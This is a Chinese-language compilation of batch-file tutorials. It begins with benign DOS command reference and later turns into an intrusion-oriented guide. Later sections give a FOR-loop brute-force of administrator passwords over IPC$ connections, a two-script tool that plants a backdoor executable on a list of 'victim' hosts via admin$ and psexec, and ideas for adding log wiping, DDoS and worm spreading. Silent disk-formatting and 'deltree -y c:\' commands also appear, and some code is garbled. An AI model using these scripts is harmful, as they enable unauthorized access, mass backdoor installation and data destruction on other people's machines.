3．说明：①、PAUSE 命令可以在 DOS 执行一个命令时暂停，使您有机会来更换盘片。按下任何一个键后，即可让 DOS 继续执行下一个命令。

②、执行 PAUSE 命令时，系统会暂停；如果您要终止执行此批处理文件，则您可按下 Ctrl+Break 二键，接头按下 Y，即可终止执行，但如果于此时按下 N，则系统将执行其它命令。

4．范例：PAUSE1.BAT 文件，内容如下：

```
@ECHO OFF
```

```
@ECHO I am first
```

```
PAUSE
```

```
@ECHO ON
```

```
@ECHO I am second
```

```
@ECHO Please put a new diskette into drive A
```

```
PAUSE
```

则其执行结果如下所示：

```
A:\>PAUSE1
```

```
I am first
```

```
strike any key when ready...
```

```
I am second
```

```
Please put a new diskette into drive A
```

```
strike any key when ready...
```

REM 批处理文件命令、配置文件命令 1．功能：可以在配置文件(CONFIG.SYS)或批处理文件(.BAT)中加上注解说明。

2．格式：REM [comment]

3．说明：①、[comment]参数：表示注解行，不会被当作命令执行。

②、您可在配置文件或批处理文件中将命令的功能注解加注在其中，以供日后引用。

③、CONFIG.SYS 文件中的 REM 与在批处理文件中 REM，皆可为注解的命令。但是在批处理文件中，REM 会被显示出来，而在 CONFIG.SYS 的 REM 命令行在启动 DOS 时并不会被显示出来。

4．范例：REM this is a sample CONFIG.SYS FOR DBASE 3

```
FILES=25
```

```
BUFFERS=20
```

SHIFT 内部命令、批处理文件命令 1．功能：使得 DOS 命令行上可以使用超过 10 个(%0 到%9)以上的可替代参数。

格式 SHIFT

3．说明 1．可替代参数的编号是%0--%9，如果要在一个命令行使用超过 10 个可以被代换的参数，则您可使用 SHIFT 命令来突破此限制。

2．每当执行 SHIFT 一次，所有命令行上的所有参数将向左移动一位。 %1 的内容将为%2 的内容所取代...，%9 内容则由新的参数递补。

3. %0 表示批处理文件本身的名称，永远不变，所以每次执行时您可以加上 9 个参数在批处理文件名后。若要增加一个参数，则您将需要使用这个 SHIFT 命令来移位，才可取得第十个参数。

4. 范例 1. SHIFT.BAT 文件，内容如下：

```
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
```

```
SHIFT
```

```
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
```

```
SHIFT
```

```
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
```

2. 执行结果如下：

```
A:\>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11(先后跟随 11 个参数)
```

```
1 2 3 4 5 6 7 8 9 (取最前面 9 个参数)
```

```
A:\>SHIFT (移位)
```

```
2 3 4 5 6 7 8 9 10 (取另外 9 个参数)
```

```
A:\>SHIFT (移动)
```

批处理文件从入门到精通

批处理文件是由一个或一个以上的 DOS 命令及可执行命令组成的带有扩展名 .BAT 的文件。当用户以批处理文件名为命令时，DOS 会自动依次执行文件中的命令。批处理文件的特点是一次建立可多次执行。

在批处理文件中有一个特殊的批处理文件，每次启动计算机时，系统自动执行该文件中的每一条命令。该文件必须满足两个条件：一是文件名为 AUTOEXEC. BAT，二是该文件的位置必须放在启动盘（也可称为系统盘）的根目录下。

在批处理文件中除了使用 DOS 命令之外，还可使用批处理子命令，这些命令也可看作 DOS 的内部命令，它们是：

1) ECHO--显示方式设置；其中 ECHO ON 是使以后的命令在执行前先显示，ECHO OFF 是使以后的命令在执行前不显示，ECHO MESSAGE 是不论 ECHO 的状态为 ON 或 OFF，都显示 MESSAGE 所指定的信息。

2) REM--注释命令。

3) PAUSE--暂停系统处理，系统显示 Press any key to continue...，等待用户按任意一个键后继续执行。

4) GOTO--转向子命令。

5) IF--条件子命令。

6) FOR--循环子命令。

7) SHIFT--改变参数的位置。

电脑每次启动时都会寻找 autoexec.bat 这条批处理文件，从而可执行一些每次开机都要执行的命令，如设置路径 path、加载鼠标驱动 mouse、磁盘加速 smartdrv 等，可以使您的电脑真正自动化。

echo、@、call、pause、rem 是批处理文件最常用的几个命令，我们就从他们开始学起。echo 表示显示此命令后的字符

echo off 表示在此语句后所有运行的命令都不显示命令行本身

@ 与 echo off 相象，但它是加在其它命令行的最前面，表示运行时不显示命令行本身。

call 调用另一条批处理文件（如果直接调用别的批处理文件，执行完那条文件后将无法执行当前文件后续命令）

pause 运行此句会暂停，显示 Press any key to continue... 等待用户按任意键后继续

rem 表示此命令后的字符为解释行，不执行，只是给自己今后查找用的

例：用 edit 编辑 a.bat 文件，输入下列内容后存盘为 c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt 中，启动 UC DOS，进入 WPS 等功能。

批处理文件的内容为：	文件表示：
echo off	不显示命令行
dir c:*.* >a.txt	将 c 盘文件列表写入 a.txt
call c:\ucdos\ucdos.bat	调用 uc dos
echo 你好	显示"你好"
pause	暂停,等待按键继续
rem 使用 wps	注释将使用 wps
cd uc dos	进入 uc dos 目录
wps	使用 wps

批处理文件中还可以像 C 语言一样使用参数，这只需用到一个参数表示符%。

%表示参数，参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0 到%9，%0 表示文件名本身，字符串用%1 到%9 顺序表示。

例如，C：根目录下一批处理文件名为 f.bat，内容为 format %1

则如果执行 C:\>f a: 则实际执行的是 format a:

又如 C：根目录下一批处理文件的名为 t.bat，内容为 type %1 type %2

那么运行 C:\>t a.txt b.txt 将顺序地显示 a.txt 和 b.txt 文件的内容

if goto choice for 是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:

1、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号)

如 if "%1"=="a" format a:

2、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。如 if exist config.sys edit config.sys

3、if errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。如 if errorlevel 2 goto x2 DOS 程序运行时都会返回一个数字给 DOS，称为错误码 errorlevel 或称返回码

goto 批处理文件运行到这里将跳到 goto 所指定的标号处，一般与 if 配合使用。如:

goto end

:end

echo this is the end

标号用 :字符串 表示，标号所在行不被执行

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234.....

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

例如，test.bat 的内容如下:

@echo off

```
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errorlevel 1 goto end
: defrag
c:\dos\defrag
goto end
: mem
mem
goto end
: end
echo good bye
```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ，然后 if 语句将作出判断，d 表示执行标号为 defrag 的程序段，m 表示执行标号为 mem 的程序段，e 表示执行标号为 end 的程序段，每个程序段最后都以 goto end 将程序跳到 end 标号处，然后程序将显示 good bye，文件结束。

for 循环命令，只要条件符合，它将多次执行同一命令。

格式 FOR [%%f] in (集合) DO [命令]

只要参数 f 在指定的集合内，则条件成立，执行命令

如果一条批处理文件中有一行：

```
for %%c in (*.bat *.txt) do type %%c
```

含义是如果是 bat 或 txt 结尾的文件，则显示文件的内容。

DOS 在启动会自动运行 autoexec.bat 这条文件，一般我们在里面装载每次必用的程序，如：path(设置路径)、smartdrv(磁盘加速)、mouse(鼠标启动)、mscdex(光驱连接)、doskey(键盘管理)、set(设置环境变量)等。

如果启动盘根目录中没有这个文件，电脑会让用户输入日期和时间。

例如，一个典型的 autoexec.bat 内容如下：

@echo off	不显示命令行
prompt \$p\$g	设置提示符前有目录提示
path c:\dos;c:\windows;c:\ucdos;c:\tools	设置路径
lh c:\dos\doskey.com	加载键盘管理
lh c:\mouse\mouse.com	加载鼠标管理
lh c:\dos\smartdrv.exe	加载磁盘加速管理
lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V	加载 CD-ROM 驱动
set temp=c:\temp	设置临时目录

一些危险的命令会被某些有心人写进批处理文件中，在网上四处传播搞破坏，例如在.bat 中写进：

```
deltree -y c:\
```

接下来的事情就是你赶紧拿条手巾擦眼泪吧。从这个意义上说它比病毒还要恶毒。

类似的，在.hlp（帮助文件）、.pif（指向 DOS 的快捷方式）、.lnk（WINDOWS 快捷方式）这些文件中也可以写入危险的命令，如果不小心执行了那就危险了。防范以上调用 DOS 命令进行破坏的文件，被动的做法是通过将 format、deltree 这类命令改名换姓。

(一)应用 DOS 重定向功能

DOS 的标准输入输出通常是在标准设备键盘和显示器上进行的, 利用重定向, 可以方便地将输入输出改向磁盘文件或其它设备。如在批处理命令执行期间为了禁止命令或程序执行后输出信息而扰乱屏幕, 可用 DOS 重定向功能把输出改向 NUL 设备(NUL 不指向任何实际设备): C:\>COPY A.TXT B.TXT > NUL。命令执行结束不显示"1 file(s) copied"的信息。有的交互程序在执行时要求很多键盘输入, 但有时输入是固定不变的, 为加快运行速度, 可预先建立一个输入文件, 此文件的内容为程序的键盘输入项, 每个输入项占一行。假如有一个程序 ZB, 其输入项全部包括在文件 IN.DAT 中, 执行 C:\>ZB NUL 程序就自动执行。

(二)应用 DOS 管道功能

DOS 的管道功能是使一个程序或命令的标准输出用做另一个程序或命令的标准输入。如把 DEBUG 的输入命令写入文件 AAA, 用 TYPE 命令通过管道功能将 AAA 的内容传输给 DEBUG, 在 DEBUG 执行期间不再从控制台索取命令参数, 从而提高了机器效率。命令为: C:\>TYPE AAA|DEBUG >BBB。

(三)子程序

在一个批处理文件可用 CALL 命令调用另一个子批处理文件, 当子批文件执行结束后, 自动返回父批文件, 继续向下执行。如: A.BAT B.BAT , A 调用 B, A.BAT 内容如下:

```
@ECHO OFF
CALL B
CD \BASIC
BASICA BG
@ECHO ON
```

(四)菜单选择功能

DOS 功能调用 31H 或 4CH 所提供的一字节的返回码, 通过批处理子命令 IF 和 ERRORLEVEL 对返回码进行处理, 可达到自动执行一批命令的目的。在批处理文件中实现高级语言所有的菜单提示功能, 使批处理文件变得更灵活方便。先用 DEBUG 建立一个菜单驱动程序 MENU.COM, 对应地编写一个批处理文件 LG.BAT。具体内容和方法见下表:

```
DEBUG
-A
-166C:0100 MOV DX,111
-166C:0103 MOV AH,09
-166C:0105 INT 21
-166C:0107 MOV AH,01
-166C:0109 INT 21
-166C:010B MOV AH,4C
-166C:010D INT 21
-166C:010F INT 20
-166C:0111 DB "*****"0D 0A
-166C:0131 DB "* 1.Turbo Pascal 5.00 *"0D 0A
-166C:0151 DB "* 2.Turbo Basci 1.00 *"0D 0A
-166C:0171 DB "* 3.Turbo Prolog 2.00 *"0D 0A
-166C:0191 DB "* 4.Turbo C 2.00 *"0D 0A
-166C:01B1 DB "* 0.Exit *"0D 0A
-166C:01B1 DB "*****"0D 0A
```

```
-166C:01F1 DB "Your choice(0..4) : "24 0D 0A 1A
-166C:0209
-R CX
CX 0000
:108
-N MENU.COM
-W
Writing 0108 bytes
-Q
@ECHO OFF:
START
CLS
MENU
IF ERRORLEVEL 52 GOTO C
IF ERRORLEVEL 51 GOTO PRO
IF ERRORLEVEL 50 GOTO BAS
IF ERRORLEVEL 49 GOTO PAS
IF ERRORLEVEL 48 GOTO EX
CLS
GOTO START
AS
CD \TP5.00
TURBO
CD \
GOTO START
:BAS
CD \TB
TB
CD \
GOTO START
RO
CD \TPROLOG
PROLOG
CD \
GOTO START
:C
CD \TURBOC
TC
CD \
GOTO START
:EX
@ECHO ON
```

执行 LG, 屏幕左上角出现一个菜单, 并提示用户输入选择, 当选择的功能执行结束, 重新返回主菜单请求选择, 直到选择"0"号功能, 程序结束返回 DOS。

(五)应用命令处理程序完成大量重复工作

DOS 提供调用次级命令程序的方法, 可实现与子程序等效的功能, 在 MS DOS3.3 以前的 DOS 版本下非常有用。如你有一批 FORTRAN 源程序需要编译, 首先编写两个批文件 MAKEOBJ.BAT、C.BAT, 然后执行 MAKEOBJ, 即可把当前目录下的所有扩展名为.FOR 的 FORTRAN 源程序编译成 OBJ 文件。这种方法迅速正确, 人机交互少, 减轻了程序员的大量劳动。

```
MAKEOBJ.BAT C.BAT
@ECHO OFF
ECHO COMPILE FORTRAN PROGRAMS.
FOR %%A IN (*.FOR) DO COMMAND /C C %%A
ECHO FINISH !
@ECHO ON @ECHO OFF
ECHO ----- COMPILE %1 -----
FOR1 %1; >NUL
FOR2 >NUL
@ECHO ON
```

批处理详细教程

最近对于批处理技术的探讨比较热, 也有不少好的批处理程序发布, 但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件, 也就更谈不上自己动手编写了, 古语云: “授人以鱼, 不如授人以渔。” 因为网上好像并没有一个比较完整的教材, 所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们. 也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件, 它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称, 或者双击该批处理文件, 系统就会调用 Cmd.exe 按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件 (也被称为批处理程序或脚本), 可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用, 例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

批处理详细教程 (一)

简单批处理内部命令简介

1.Echo 命令

打开回显或关闭请求回显功能, 或显示消息。如果没有任何参数, echo 命令将显示当前回显设置。

语法

```
echo [{on|off}] [message]
```

Sample : @echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号 (也称为管道符号, 一般用 > >> ^) 结合来实现输入一些命令到特定格式的文件中. 这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令, 在入侵过程中 (例如使用批处理来格式化敌人的硬盘) 自然不能让对方看到你使用的命令啦。

Sample : @echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autose (format 这个命令是不可以使用/y 这个参数的，可喜的是微软留了个 autose 这个参数给我们，效果和/y 是一样的。)

3.Goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label (label 是参数，指定所要转向的批处理程序中的行。)

Sample :

```
if {%1}=={} goto noparms
```

if {%2}=={} goto noparms (如果这里的 if、%1、%2 你不明白的话，先跳过去，后面会有详细的解释。)

```
@Rem check parameters if null show usage
```

```
:noparms
```

```
echo Usage: monitor.bat ServerIP PortNumber
```

```
goto end
```

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto 命令就是根据这个：来寻找下一步跳到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令

注释命令，在 C 语言中相当与/*-----*/，它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。

```
Rem Message
```

Sample : @Rem Here is the description.

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：

```
Press any key to continue . . .
```

Sample :

```
@echo off
```

```
:begin
```

```
copy a:*. * d : \back
```

```
echo Please put a new disk into driver A
```

```
pause
```

```
goto begin
```

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到 d:\back 中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

语法

```
call [[Drive:]][Path] FileName [BatchParameters] [:label [arguments]]
```

参数

```
[Drive:)][Path] FileName
```

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令

调用外部程序，所有的 DOS 命令和命令行程序都可以由 start 命令来调用。

入侵常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234.....

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample：

Sample.bat 的内容如下:

```
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag ( 应先判断数值最高的错误码 )
if errorlevel 2 goto mem
if errorlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e，然后 if 语句将作出判断，d 表示执行标号为 defrag 的程序段，m 表示执行标号为 mem 的程序段，e 表示执行标号为 end 的程序段，每个程序段最后都以 goto end 将程序跳到 end 标号处，然后程序将显示 good bye，文件结束。

批处理详细教程（二）

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:

1、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号)

如 if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如 if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。

如 if errorlevel 2 goto x2

DOS 程序运行时都会返回一个数字给 DOS，称为错误码 errorlevel 或称返回码，常见的返回码为 0、1。

10.for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到

支持：

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的

FOR 语句。如果在 /R 后没有指定目录，则使用当前

目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 选项：

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的

下一个文件之前，每份文件都已被打开、读取并经过处理。

处理包括读取文件，将其分成一行行的文字，然后将每行

解析成零或更多的符号。然后用已找到的符号字符串变量值

调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开

的第一个空白符号。跳过空白行。您可通过指定可选 "options"

参数替代默认解析操作。这个带引号的字符串包括一个或多个

指定不同解析选项的关键字。这些关键字为：

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用：

在作为命令执行一个后引号的字符串并且

引号字符为文字字符串命令并允许在 fi

中使用双引号扩起文件名称。

sample1:

```
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
```

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过

tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 z 或 Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子：

```
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
```

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法：

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sl - 扩充的路径只含有短名
%~al - 将 %I 扩充到文件的文件属性
%~tl - 将 %I 扩充到文件的日期/时间
%~zl - 将 %I 扩充到文件的大小
%~\$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充

到找到的第一个完全合格的名称。如果环境变量未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果：

%~dpl - 仅将 %I 扩充到一个驱动器号和路径
%~nxl - 仅将 %I 扩充到一个文件名和扩展名
%~fsl - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp\$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzal - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是 MS 的官方帮助，下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

sample2：

利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。

我们用 net use \\ip\ipc\$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。

最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc\$ "i%" /u:"administrator"

用 i%来表示 admin 的密码，在 dict.txt 中这个取 i%的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令 - -

for /f i%% in (dict.txt) do net use \\ip\ipc\$ "i%%" /u:"administrator"|find ":命令成功完成"

">>D:\ok.txt，这样就 ko 了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门+木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：)。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens 的用法请参见上面的 sample1，在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数%i %j %k。

而 cultivate.bat 无非就是用 net use 命令来建立 IPC\$连接，并 copy 木马+后门到 victim，然后用返回码（If errorlevel =）来筛选成功种植后门的主机，并 echo 出来，或者 echo 到指定的文件。

delims= 表示 victim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容是什么样的了。应该根据%i %%j %%k 表示的对象来排列，一般就是 ip password username。

代码雏形：

----- cut here then save as a batchfile(I call it main.bat) -----

@echo off

@if "%1"==" " goto usage

```

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
----- cut here then save as a batchfile(I call it main.bat ) -----
----- cut here then save as a batchfile(I call it door.bat) -----
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection .....OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3
>>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----- cut here then save as a batchfile(I call it door.bat) -----

```

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe），PSEXEC.exe 需放在同一目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS 的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

批处理详细教程（三）

No.2

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从 1%到 9%这九个，当有多个参数时需要用 shift 来移动，这种情况并不多见，我们就不考虑它了。

sample1：fomat.bat

```

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat

```

这个例子用于连续地格式化几张软盘，所以用的时候需在 dos 窗口输入 fomat.bat a，呵呵,好像有点画蛇添足了~^_^

sample2：

当我们要建立一个 IPC\$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地 ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。

```

@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里 PASSWORD 是第二个参数。
@if errorlevel 1 echo connection failed

```

怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^No.3

三.如何使用组合命令(Compound Command)

1.&

Usage : 第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample :

```
C:\>dir z: & dir c:\Ex4rch
```

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 <DIR> .

2002-05-14 23:51 <DIR> ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage : 第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample :

```
C:\>dir z: && dir c:\Ex4rch
```

The system cannot find the path specified.

```
C:\>dir c:\Ex4rch && dir z:
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 <DIR> .

2002-05-14 23:55 <DIR> ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:

```
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb
```

```
E:\backup
```

如果远程服务器上存在 backup.mdb 文件,就执行 copy 命令,若不存在该文件则不执行 copy 命令。这种用法可以替换 IF exist 了 :)

3.||

Usage : 第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample :

```
C:\Ex4rch>dir sometips.gif || del sometips.gif
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：

sample：

```
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
```

```
>>victim.txt
```

批处理详细教程（四）

四、管道命令的使用

1. | 命令

Usage：第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用，记得在 unix 中这种方式很常见。

sample：

```
time /t>>D:\IP.log
```

```
netstat -n -p tcp|find ":3389">>D:\IP.log
```

```
start Explorer
```

看出来了吗？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个 bat，以获得登录用户的 IP。

2.>、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中，> 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：

```
echo hello world>c:\hello.txt (stupid example?)
```

sample2:

时下 DLL 木马盛行，我们知道 system32 是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL 马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的 EXE 和 DLL 文件作一个记录：

运行 CMD--转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中，

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入 DLL 木马了.

这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中,然后运行:

